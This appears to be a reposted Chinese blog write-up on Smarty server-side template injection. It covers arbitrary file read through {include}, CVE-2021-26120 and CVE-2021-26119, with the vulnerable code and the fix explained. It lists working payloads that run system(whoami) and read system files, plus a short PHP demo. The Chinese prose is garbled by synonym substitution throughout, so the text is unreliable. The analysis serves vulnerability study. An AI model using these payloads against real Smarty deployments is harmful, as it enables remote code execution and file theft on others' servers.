Smarty 最新 SSTI 总结

前言

本文章将对 Smarty 最新的破绽做一下简单的剖析与总结

Smarty 简介

在开端引见 Smarty 之前先理解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)别离而产生的一种处理计划,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量交换准绳,我们只需求在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的办法传送变量参数即可

环境搭建

文章运用的 Smarty 版本依据破绽而定,下载链接:Smarty github ,容器是 Windows 10 下的 phpstudy,php 版本是 7.3.4,装置很简单,下载源码解压后引入 Smarty.class.php 即可,如下所示,环境搭建相关的细致内容参见:搭建详情

开端复现

恣意文件读取

  • POC:string:{include file='C:/Windows/win.ini'}
  • 破绽缘由:{include} 标签所招致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
  • 版本限制:无

引入普通文件:

引入 php 文件:

经过 templates_c 目录的模板编译文件能够看到为什么引入 php 文件只能输出内容,Smarty 会运用正则表达式去匹配 <?php?>,匹配到之后会运用单引号包裹。

CVE-2021-26120

  • POC:string:{function name='x(){};system(whoami);function '}{/function}
  • 破绽缘由:{function} 标签的 name 属性能够经过精心结构注入歹意代码
  • 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用

测试效果

查看 templates_c 目录下生成的模板编译文件

招致破绽的代码在 libs/sysplugins/smarty_internal_compile_function.php#Smarty_Internal_Compile_Function->compile()

查看 3.1.39 版本修复之后的代码,能够看到增加了正则限制 name 的内容,此时就无法注入歹意代码了

CVE-2021-26119

  • POC:
    string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system(whoami)}')}
    string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}

  • 破绽缘由:能够经过 {$smarty.template_object} 访问到 smarty 对象所招致

  • 版本限制:这个破绽还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入歹意代码

测试效果

简单剖析一下,触发破绽之后,在 templates_c 目录下会生成两个模板编译文件,我们在第二个文件处执行 whoami 的位置下断点调试

第一个文件:

第二个文件:

能够看到第一次调用了第一个文件的函数 content_62405bd45e06b5_71225150

第二次调用了第二个文件的函数 content_62405bd5572234_18969587,然后执行到歹意代码

为什么不直接传入 POC:string:{system(whoami)} 到 $_POST[‘data’],而是要以上述这种方式,简单做一下演示就明白了。1.php 和 2.php 用于演示

1.php:

<?php
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->_getSmartyObj()->display('string:{system(whoami)}');
?>
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片